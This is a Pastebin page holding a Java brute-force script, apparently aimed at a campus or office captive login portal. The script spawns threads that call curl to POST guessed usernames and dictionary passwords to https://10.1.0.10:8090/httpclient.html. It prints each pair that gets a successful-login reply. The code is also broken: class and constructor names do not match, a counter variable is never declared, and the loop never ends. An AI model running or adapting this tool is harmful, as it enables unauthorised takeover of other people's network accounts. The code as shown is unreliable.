Guest User

Untitled

a guest
Jan 17th, 2016
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.53 KB | None | 0 0
  1. /*
  2. *
  3. * @authour adhi1419
  4. *
  5. */
  6.  
  7. import java.io.BufferedReader;
  8. import java.io.IOException;
  9. import java.io.InputStreamReader;
  10.  
  11. public class CyberBrute {
  12.     static String passwords[] = {
  13.         //brute dictionary here
  14.     };
  15.     public static void main(String args[]) {
  16.         for(int k = 0; k < passwords.length; k++){
  17.             new StartBrute2(passwords[k]).start();
  18.         }
  19.     }
  20. }
  21.  
  22. class StartBrute extends Thread {
  23.  
  24.     String sweg;
  25.     String mInterfaces[] = {
  26.         //Interfaces your PC can bind to
  27.     };
  28.  
  29.     public StartBrute2(String pass) {
  30.         sweg = pass;
  31.     }
  32.    
  33.     public static void runCommand(String c, String id, String pass) {
  34.         try {
  35.  
  36.             Process p = Runtime.getRuntime().exec("cmd /c " + c);
  37.             p.waitFor();
  38.             BufferedReader reader = new BufferedReader(new InputStreamReader(
  39.                     p.getInputStream()));
  40.             String line;
  41.             // System.out.println(id);
  42.             while ((line = reader.readLine()) != null) {
  43.  
  44.                 if (line.contains("You have successfully logged in")  ||  line.contains("Your data transfer has been exceeded")  ||  line.contains("Login Limit")) {
  45.                     System.out.print(id + ":" + pass + " ");
  46. //                  System.out.println(line);
  47.                 }
  48.             }
  49.  
  50.         } catch (IOException e1) {
  51.         } catch (InterruptedException e2) {
  52.         }
  53.     }
  54.  
  55.     @Override
  56.     public void run() {
  57.         for (;;) {
  58.             String cmd = "F:\\Curl\\bin\\curl --insecure --data \"mode=191&userName="
  59.                     + "f201" + i
  60.                     + "&password="
  61.                     + sweg
  62.                     + "&btnSubmit=Login\" --location https://10.1.0.10:8090/httpclient.html -s";
  63.             runCommand(cmd, "f201" + i, String.valueOf(sweg));
  64.         }
  65.     }
  66.  
  67. }
Add Comment
Please, Sign In to add comment